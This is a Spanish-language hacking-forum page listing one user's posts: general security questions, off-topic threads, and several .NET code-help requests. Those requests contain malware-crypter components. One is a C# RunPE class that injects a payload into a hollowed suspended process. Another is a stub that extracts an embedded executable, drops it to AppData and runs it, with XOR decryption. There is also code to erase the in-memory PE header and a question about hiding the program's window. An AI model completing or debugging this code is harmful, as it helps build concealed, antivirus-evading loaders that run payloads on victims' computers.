elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Temas
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
21  Seguridad Informática / Nivel Web / buscar bugs en mi servidor web en: 18 Junio 2017, 06:21 am
Hola estoy testeando (de forma legal por supuesto en mi servidor web) para buscar bugs o fallos
y no tengo casi ni idea al respecto. algunas herramientas o consejos para poder profundizar en el tema.
Aparte uso siempre las herramientas que trae el navegador para examinar las peticiones http.. algunos consejos o herramientas utiles para esto?
22  Programación / ASM / Alguien conoce algun conversor shellcode to assembly? en: 15 Junio 2017, 18:58 pm
Alguien sabe algun conversor que me convierta un shellcode en assembly¿? online?
23  Programación / Ingeniería Inversa / que es mejor para un hacker? ser un buen cracker o un buen programador? en: 15 Junio 2017, 15:48 pm
la cosa esta que para el hacking a nivel de aplicacion, aprender cracking esta bien, igual que aprender programación.
Pero la cuestión es en que uno sería mejor especializarse, en el cracking, revertir la seguridad de programas legitimos. revertir la seguridad en general de cualquier aplicacion o programar..
La cuestión es un hacker sería un genio del cracking, ademas de un experto en seguridad web o al contrario un genio de la programación y un experto de la seguridad web. !A nivel de aplicación que es mejor¡ ser un gran hacker saber mucho cracking? o programacion?
24  Programación / Ingeniería Inversa / Como hago para entender todo sobre el formato PE en: 15 Junio 2017, 01:28 am
He estado buscando codigo y tal pero siempre me he quedado con eso con el malestar de no entender ni poder abrir o retocar las tripas de los ejecutables.
Tengo claro lo que es el entry point, virtual addreas, rva, etc.. pero todavía en la practica me cuesta mucho ir tocando eso, añadir shellcodes, etc , me podrían dar consejos, tal vez deba replantearme  y profundizar más, entender más la teoría y practicar más ingenieria versa, pero por supuesto entender. Algun consejo para poder dominar esta materia?
25  Programación / .NET (C#, VB.NET, ASP) / Pasando este Runpe de VB.NET a C# en: 7 Junio 2017, 20:47 pm
Hola estaba intentando pasar este runpe:
https://pastebin.com/Ziqk57Qn

a C#, quedando algo así:
Código:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Reflection;
using System.Runtime;
using Microsoft.VisualBasic;
using System.Collections;
using System.Collections.Generic;
using System.Data;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace skip
{
 static class MenaPE
{
    [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]

    //------------------------------
    //Title: MenaPE (RunPE Class)
    //Author: Menalix
    //Website: Menalix.com
    //Notice: For teaching purposes
    //------------------------------

    #region "Static API Calls"

    public static extern IntPtr LoadLibraryA(string Name);
    [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
    public static extern IntPtr GetProcAddress(IntPtr hProcess, string Name);
    #endregion

    #region "Dynamic API Caller"

    private static T CreateApi<T>(string Name, string Method)
    {
        return (T)(object)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(Name), Method), typeof(T));
    }

    #endregion

    #region "Dynamic API's"

    private delegate bool ReadProcessMemoryParameters(IntPtr hProcess, IntPtr lpBaseAddress, ref uint lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
    static readonly ReadProcessMemoryParameters ReadProcessMemory = CreateApi<ReadProcessMemoryParameters>("kernel32", "ReadProcessMemory");

    private delegate bool CreateProcessParameters(string ApplicationName, string CommandLine, IntPtr ProcessAttributes, IntPtr ThreadAttributes, bool InheritHandles, uint CreationFlags, IntPtr Environment, string CurrentDirectory, ref STARTUPINFO StartupInfo, ref PROCESS_INFORMATION ProcessInformation);
    static CreateProcessParameters CreateProcess = CreateApi<CreateProcessParameters>("kernel32", "CreateProcessA");

    private delegate uint NtQueryInformationProcessParameters(IntPtr hProcess, int ProcessInformationClass, ref PROCESS_BASIC_INFORMATION ProcessInformation, uint ProcessInformationLength, ref uint ReturnLength);
    static readonly NtQueryInformationProcessParameters NtQueryInformationProcess = CreateApi<NtQueryInformationProcessParameters>("ntdll", "NtQueryInformationProcess");

    private delegate bool GetThreadContext64Parameters(IntPtr hThread, ref CONTEXT32 lpContext);
    static GetThreadContext64Parameters GetThreadContext64 = null;

    private delegate bool IsWow64ProcessParameters(IntPtr hProcess, ref bool Wow64Process);
    static readonly IsWow64ProcessParameters IsWow64Process = CreateApi<IsWow64ProcessParameters>("kernel32", "IsWow64Process");

    private delegate bool WriteProcessMemoryParameters(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
    static readonly WriteProcessMemoryParameters WriteProcessMemory = CreateApi<WriteProcessMemoryParameters>("kernel32", "WriteProcessMemory");

    private delegate uint NtUnmapViewOfSectionParameters(IntPtr hProcess, IntPtr pBaseAddress);
    static readonly NtUnmapViewOfSectionParameters NtUnmapViewOfSection = CreateApi<NtUnmapViewOfSectionParameters>("ntdll", "NtUnmapViewOfSection");

    private delegate IntPtr VirtualAllocExParameters(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    static readonly VirtualAllocExParameters VirtualAllocEx = CreateApi<VirtualAllocExParameters>("kernel32", "VirtualAllocEx");

    private delegate uint ResumeThreadParameters(IntPtr hThread);
    static readonly ResumeThreadParameters ResumeThread = CreateApi<ResumeThreadParameters>("kernel32", "ResumeThread");

    #endregion

    #region "API Structures"
    private struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }
    private struct STARTUPINFO
    {
        public uint cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        [System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst = 36)]
        public byte[] Misc;
        public byte lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }
    public struct FLOATING_SAVE_AREA
    {
        public uint Control;
        public uint Status;
        public uint Tag;
        public uint ErrorO;
        public uint ErrorS;
        public uint DataO;
        public uint DataS;
        [System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst = 80)]
        public byte[] RegisterArea;
        public uint State;
    }
    public struct CONTEXT32
    {
        public long ContextFlags;
        public uint Dr0;
        public uint Dr1;
        public uint Dr2;
        public uint Dr3;
        public uint Dr6;
        public uint Dr7;
        public FLOATING_SAVE_AREA FloatSave;
        public uint SegGs;
        public uint SegFs;
        public uint SegEs;
        public uint SegDs;
        public uint Edi;
        public uint Esi;
        public uint Ebx;
        public uint Edx;
        public uint Ecx;
        public uint Eax;
        public uint Ebp;
        public uint Eip;
        public uint SegCs;
        public uint EFlags;
        public uint Esp;
        public uint SegSs;
        [System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst = 512)]
        public byte[] ExtendedRegisters;
    }
    public struct PROCESS_BASIC_INFORMATION
    {
        public IntPtr ExitStatus;
        public IntPtr PebBaseAddress;
        public IntPtr AffinityMask;
        public IntPtr BasePriority;
        public IntPtr UniqueProcessID;
        public IntPtr InheritedFromUniqueProcessId;
    }
    #endregion

    #region "Injection"

    public static bool Run(string path, byte[] payload, uint creationflag)
    {
        for (int I = 1; I <= 5; I++)
        {
            if (HandleRun(path, payload, creationflag))
                return true;
        }
        return false;
    }

    private static bool HandleRun(string Path, byte[] payload, uint creationflag)
    {
        IntPtr nullPtr = IntPtr.Zero;

        uint ReadWrite = 0;
        string QuotedPath = string.Format("\"{0}\"", Path);

        STARTUPINFO SI = new STARTUPINFO();
        PROCESS_INFORMATION PI = new PROCESS_INFORMATION();

        SI.cb = Convert.ToUInt32(System.Runtime.InteropServices.Marshal.SizeOf(typeof(STARTUPINFO)));
        //Parses the size of the structure to the structure, so it retrieves the right size of data

        try
        {
            //COMMENT: Creating a target process in suspended state, which makes it patch ready and we also retrieves its process information and startup information.
            if (!CreateProcess(Path, QuotedPath, IntPtr.Zero, IntPtr.Zero, true, creationflag, IntPtr.Zero, Directory.GetCurrentDirectory(), ref SI, ref PI))
                throw new Exception();

            //COMMENT: Defines some variables we need in the next process
            PROCESS_BASIC_INFORMATION ProccessInfo = new PROCESS_BASIC_INFORMATION();
            uint RetLength = 0;
            dynamic Context = null;
            int? PEBAddress32 = null;
            Int64? PEBAddress64 = null;
            bool TargetIs64 = false;
            bool IsWow64Proc = false;

            IsWow64Process(PI.hProcess, ref IsWow64Proc);
            //COMMENT: Retrieves Boolean to know if target process is a 32bit process running in 32bit system, or a 32bit process running under WOW64 in a 64bit system.
            //COMMENT: Checks the Boolean retrieved from before OR checks if our calling process is 32bit
            if (IsWow64Proc | IntPtr.Size == 4)
            {
                Context = new CONTEXT32();
                Context.ContextFlags = 0x1000002L;
                //COMMENT: Parses the context flag CONTEXT_AMD64(&H00100000L) + CONTEXT_INTEGER(0x00000002L) to tell that we want a structure of a 32bit process running under WOW64, you can see all context flags in winnt.h header file.
                //COMMENT: Checks if our own process is 64bit and the target process is 32bit in wow64
                if (IsWow64Proc && IntPtr.Size == 8)
                {
                    GetThreadContext64 = CreateApi<GetThreadContext64Parameters>("kernel32", "Wow64GetThreadContext");
                    //COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
                    if (!GetThreadContext64(PI.hThread, Context))
                        throw new Exception();
                    Console.WriteLine(Context.Ebx);
                    PEBAddress32 = Context.Ebx;
                    TargetIs64 = false;
                    //COMMENT: If our process is 32bit and the target process is 32bit we get here.
                }
                else
                {
                    NtQueryInformationProcess(PI.hProcess, 0, ref ProccessInfo, (uint)System.Runtime.InteropServices.Marshal.SizeOf(ProccessInfo), ref RetLength);
                    //COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
                    Marshal.PtrToStructure( ProccessInfo.PebBaseAddress,  PEBAddress32 );
                    TargetIs64 = false;
                }
                //COMMENT: If our process is 64bit and the target process is 64bit we get here.
            }
            else
            {
                NtQueryInformationProcess(PI.hProcess, 0, ref ProccessInfo, (uint)System.Runtime.InteropServices.Marshal.SizeOf(ProccessInfo), ref RetLength);
                //COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
                Marshal.PtrToStructure(ProccessInfo.PebBaseAddress, PEBAddress64);
                TargetIs64 = true;
            }


            uint  BaseAddress = 0;
            IntPtr PEBAddress64ptr = nullPtr;
            IntPtr PEBAddress32ptr = nullPtr;

            if (TargetIs64 == true)
            {

                Marshal.StructureToPtr(PEBAddress64 + 0x10, PEBAddress64ptr, true);
                ReadProcessMemory(PI.hProcess, PEBAddress64ptr, ref BaseAddress, 4, ref ReadWrite);
                //COMMENT: Reads the BaseAddress of a 64bit Process, which is where the exe data starts
            }
            else
            {
                Marshal.StructureToPtr(PEBAddress32 + 0x08, PEBAddress32ptr, true);
                ReadProcessMemory(PI.hProcess, PEBAddress32ptr , ref BaseAddress, 4, ref ReadWrite);
                //COMMENT: Reads the BaseAddress of a 32bit Process, which is where the exe data starts
            }

            bool PayloadIs64 = false;
            int dwPEHeaderAddress = BitConverter.ToInt32(payload, 0x3c);
            //COMMENT: Gets the PEHeader start address
            int dwNetDirFlags = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x398);
            //COMMENT: Gets the .NET Header Flags value to determine if its a AnyCPU Compiled exe or not
            int wMachine = BitConverter.ToInt16(payload, dwPEHeaderAddress + 0x4);
            //COMMENT: Gets the reads the Machine value

            if (wMachine == 8664)
            {
                PayloadIs64 = true;
                //Checks the Machine value to know if payload is 64bit or not"
            }
            else
            {
                PayloadIs64 = false;
            }

            if (PayloadIs64 == false)
            {
                //To make sure we don't rewrite flags on a Payload which is already AnyCPU Compiled, it will only slow us down
                if (dwNetDirFlags == 0x3)
                {
                    Buffer.SetByte(payload, dwPEHeaderAddress + 0x398, 0x1);
                    //Replaces the .NET Header Flag on a 32bit compiled payload, to make it possible doing 32bit -> 64bit injection
                }
            }

            int dwImageBase = 0;
            if (PayloadIs64 == true)
            {
                dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x30);
                //Reads the ImageBase value of a 64bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual addressstart location for our exe in its own memory space
            }
            else
            {
                dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x34);
                //Reads the ImageBase value of a 32bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual address start location for our exe in its own memory space
            }

            //COMMENT: If the BaseAddress of our Exe is matching the ImageBase, it's because it's mapped and we have to unmap it
            if (dwImageBase == BaseAddress)
            {
                IntPtr BaseAddressptr = new IntPtr();
                Marshal.StructureToPtr(BaseAddress, BaseAddressptr, true);
                if (!(NtUnmapViewOfSection(PI.hProcess, BaseAddressptr) == 0))
                    throw new Exception();
                //COMMENT: Unmapping it
            }

            int dwSizeOfImage = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x50);
            IntPtr dwImageBaseptr = new IntPtr();
            Marshal.StructureToPtr(dwImageBase, dwImageBaseptr, true);
            IntPtr dwNewImageBase = VirtualAllocEx(PI.hProcess, dwImageBaseptr, (uint)dwSizeOfImage, 0x3000, 0x40);
            //COMMENT: Makes the process ready to write in by specifying how much space we need to do it and where we need it

            if (dwNewImageBase == nullPtr)
                throw new Exception();

            int dwSizeOfHeaders = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x54);

            IntPtr payloadptr = Marshal.AllocHGlobal(payload.Length);
            Marshal.Copy(payload, 0, payloadptr, payload.Length);
            if (!WriteProcessMemory(PI.hProcess, dwNewImageBase, payloadptr, (uint)(dwSizeOfHeaders & 0x7FFF), ref ReadWrite))
                throw new Exception();
            //Writes the size of the payloads PE header to the target

            //COMMENT: This is here where most of the magic happens. We write in all our sections data, which contains our resssources, code and the information to utilize the sections: VirtualAddress, SizeOfRawData and PointerToRawData
            short SizeOfOptionalHeader = BitConverter.ToInt16(payload, dwPEHeaderAddress + 0x14);
            int SectionOffset = dwPEHeaderAddress + (0x16 + SizeOfOptionalHeader + 0x2);
            short NumberOfSections = BitConverter.ToInt16(payload, dwPEHeaderAddress + 0x6);
            for (int I = 0; I <= NumberOfSections - 1; I++)
            {
                int VirtualAddress = BitConverter.ToInt32(payload, SectionOffset + 0xc);
                uint SizeOfRawData = BitConverter.ToUInt32(payload, SectionOffset + 0x10);
                int PointerToRawData = BitConverter.ToInt32(payload, SectionOffset + 0x14);
                if (!(SizeOfRawData == 0))
                {
                    IntPtr SectionDataptr = Marshal.AllocHGlobal((int)SizeOfRawData);
                    Marshal.Copy(payload, 0, SectionDataptr, (int)SizeOfRawData);
                    if (!WriteProcessMemory(PI.hProcess, dwNewImageBase + VirtualAddress, SectionDataptr, SizeOfRawData, ref ReadWrite))
                        throw new Exception();
                }
                SectionOffset += 0x28;
            }

            //byte[] PointerData = BitConverter.GetBytes(dwNewImageBase);
            if (TargetIs64 == true)
            {
                if (!WriteProcessMemory(PI.hProcess, PEBAddress64ptr, dwNewImageBase, 4, ref ReadWrite))
                    throw new Exception();
                //Writes the new etrypoint for 64bit target
            }
            else
            {
                if (!WriteProcessMemory(PI.hProcess, PEBAddress32ptr + 0x8, dwNewImageBase, 4, ref ReadWrite))
                    throw new Exception();
                //Writes the new entrypoint for 32bit target
            }
            if (ResumeThread(PI.hThread) == 0xFFFFFFFF)
                throw new Exception();
            //Resumes the suspended target with all its new exciting data

        }
        catch (Exception ex)
        {
            Console.WriteLine(ex);
            Process P = Process.GetProcessById(Convert.ToInt32(PI.dwProcessId));
            if (P != null)
                P.Kill();
            return false;
        }

        return true;
    }
    #endregion

}
}
pero el problema ahora esta en que al traducirlo me ha pasado a marshall struct pero todos me marcan los mismos errores:
Código:
System.ArgumentNullException: Value cannot be null.
Parameter name: structure
   at System.Runtime.InteropServices.Marshal.PtrToStructureHelper(IntPtr ptr, Ob
ject structure, Boolean allowValueClasses)
   at System.Runtime.InteropServices.Marshal.PtrToStructure(IntPtr ptr, Object s
tructure)
   at skip.MenaPE.HandleRun(String Path, Byte[] payload, UInt32 creationflag) in
 c:\Users\Androide\Desktop\ - Copy - Copy\Stub\MenaPE.cs:line 220

he intentando convertir a enteros pero hago uso de punteros, por lo que al final devuelven el mismo error, tendría que redefinir todo de nuevo o que me aconsejais¿ que opinais del código esta mal programado¿
26  Foros Generales / Foro Libre / Legalizar el matrimonio entre homosexuales en: 6 Junio 2017, 21:08 pm
Sobre este tema no se habla mucho y por eso lo traigo aquí, a día de hoy la homosexualidad como avanzado la sociedad ya es algo natural cada individuo es libre mientras no dañe al otro. Pero a día de hoy son pocos los países que han aprobado el matrimonio entre homosexuales ¿Que piensan deben incluirse leyes para poder permitirse el matrimonio entre ambos, obviamente yo pienso que si ya que todas las personas somos iguales. Es un pequeño debate. saludos.
27  Foros Generales / Foro Libre / Ataque aéreo de EEUU deja otros 35 civiles muertos en Siria en: 6 Junio 2017, 02:12 am
Ataque aéreo de EEUU deja otros 35 civiles muertos en Siria.

35 civiles que nadie los recordará sumado a los cientos de miles que llevan ya muertos.
28  Programación / .NET (C#, VB.NET, ASP) / Traducir este código a vb.net en: 5 Junio 2017, 02:29 am
Hola mi pregunta es sobre todo en los for se me hace complicado y en el stream. El completo código sería:
Código
  1. namespace skip
  2. {
  3.    static class Program
  4.    {
  5.        [STAThread]
  6.        static void Main()
  7.        {
  8.            Application.EnableVisualStyles();
  9.            Application.SetCompatibleTextRenderingDefault(false);
  10.            //Application.Run(new Form1());
  11.  
  12.            byte[] file =
  13.  File.ReadAllBytes(System.Reflection.Assembly.GetExecutingAssembly().Location);
  14.  
  15.            var position = PatternAt(file, Encoding.ASCII.GetBytes("BLAUMOLAMUCHO"));
  16.  
  17.            int longitudSeparador = Encoding.ASCII.GetBytes("BLAUMOLAMUCHO").Length;
  18.  
  19.            byte[] encodedBytes = new byte[file.Length - position.First()-longitudSeparador];
  20.            Array.Copy(file, position.First()+ longitudSeparador, encodedBytes, 0, file.Length - position.First()-longitudSeparador);
  21.  
  22.            //ruta del fichero embebido
  23.            string tempPath = System.IO.Path.GetTempPath();
  24.            string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
  25.            //var stream
  26.            Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Manifest");
  27.            //Console.WriteLine(stream);
  28.            FileStream fileStream = new FileStream(appDataPath+ @"\tola.exe", FileMode.Create, FileAccess.Write);
  29.            for (int i = 0; i < stream.Length; i++)
  30.                fileStream.WriteByte((byte)stream.ReadByte());
  31.            fileStream.Close();
  32.            RunInternal(appDataPath + @"\tola.exe", "1234");
  33.         }
  34.  
  35.  
  36.  
  37.  
  38.        private static void RunInternal(string exeName, String pass)
  39.        {
  40.            //Verify the Payload exists
  41.            if (!File.Exists(exeName))
  42.                return;
  43.  
  44.            //Read the raw bytes of the file
  45.            byte[] resourcesBuffer = File.ReadAllBytes(exeName);
  46.  
  47.            byte[] decryptedBuffer = resourcesBuffer;
  48.  
  49.  
  50.  
  51.  
  52.            //If .NET executable -> Run
  53.            if (System.Text.Encoding.ASCII.GetString(decryptedBuffer).Contains("</assembly>")) //Esto devuelve false
  54.            {
  55.  
  56.            }
  57.            else
  58.            {
  59.                //Console.WriteLine(Encoding.ASCII.GetString(decryptedBuffer));
  60.               //Console.ReadKey();
  61.            }
  62.  
  63.        }
  64.  
  65.        /// <summary>
  66.        /// Decrypt the Loaded Assembly Bytes
  67.        /// </summary>
  68.        /// <param name="payload"></param>
  69.        /// <returns>Decrypted Bytes</returns>
  70.        /// algoritmo xor
  71.        private static byte[] decryptBytes(byte[] bytes, String pass)
  72.        {
  73.            byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
  74.  
  75.            for (int i = 0; i < bytes.Length; i++)
  76.            {
  77.                bytes[i] ^= XorBytes[i % XorBytes.Length];
  78.            }
  79.  
  80.            return bytes;
  81.        }
  82.    }
  83. }

Por lo menos si no quereis indicarlo enterlo simplemente con los for y el streamer sería suficiente para comprender mejor las diferencias. gracias.
29  Programación / .NET (C#, VB.NET, ASP) / Como ocultar el formulario en vb.net en: 4 Junio 2017, 23:09 pm
Mi pregunta es como puedo hacer para ocultar el formulario sin que apareciese, ya que al ponerlo como consola tampoco es lo que busco. Entonces mi pregunta es hay alguna manera de ocultar el formulario en caso de que no fuese necesario? He intentado con opacity,incluso con Hide:

Código:
Me.Hide()
Como podría hacer para que no sea visible.

Saludos.
30  Programación / .NET (C#, VB.NET, ASP) / Borrar la cabecera de un ejecutable .NET en: 26 Mayo 2017, 16:21 pm
Hola estoy intentando borrar la cabecera en .NET el método que encontré por internet y que usan es:
Código
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Runtime.InteropServices;
  5. using System.Text;
  6. using System.Threading.Tasks;
  7.  
  8.  
  9. namespace ConsoleApplication9
  10. {
  11.    class Program
  12.    {
  13.        [DllImport("kernel32.dll")]
  14.        public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
  15.        [DllImport("kernel32.dll", SetLastError = true)]
  16.        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
  17.        [DllImport("kernel32.dll", SetLastError = true)]
  18.        //static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
  19.        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesWritten);
  20.        [DllImport("kernel32.dll")]
  21.        public static extern IntPtr GetModuleHandle(string lpModuleName);
  22.        private static int ErasePEHeader() // hModule = Handle to the module, procName = Process name (eg. "notepad")
  23. {
  24.    byte[] imagentheaderptr = new byte[4];
  25.    byte[] Stub = new byte[120];
  26.    byte[] Stub2 = new byte[0x108];
  27.    int Out=0, Out2=0;
  28.  
  29.            IntPtr hModule = GetModuleHandle(null);
  30.  
  31.            string procName = System.Reflection.Assembly.GetExecutingAssembly().GetName().Name;
  32.            procName = procName;
  33.            Console.WriteLine(hModule + "," + procName);
  34.  
  35.            IntPtr proc = OpenProcess(0x001F0FFF, false, System.Diagnostics.Process.GetProcessesByName(procName)[0].Id);
  36.    IntPtr IMAGE_NT_HEADER = new IntPtr((hModule.ToInt32() + 60)), out2 = IntPtr.Zero;
  37.    ReadProcessMemory(proc, IMAGE_NT_HEADER, imagentheaderptr, 4, out out2);
  38.    if ((WriteProcessMemory(proc, hModule, Stub, 120, ref Out) == true) && (WriteProcessMemory(proc, hModule, Stub2, 0x100, ref Out2) == true)) return Out + Out2;
  39.    else return 0;
  40. }
  41.        static void Main(string[] args)
  42.        {
  43.            int a = ErasePEHeader();
  44.            Console.WriteLine(a);
  45.            Console.ReadKey();
  46.        }
  47.    }
  48. }
Pero siempre me devuelve 0 o falso. ¿Alguien que me pueda explicar porque nunca la borra?
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines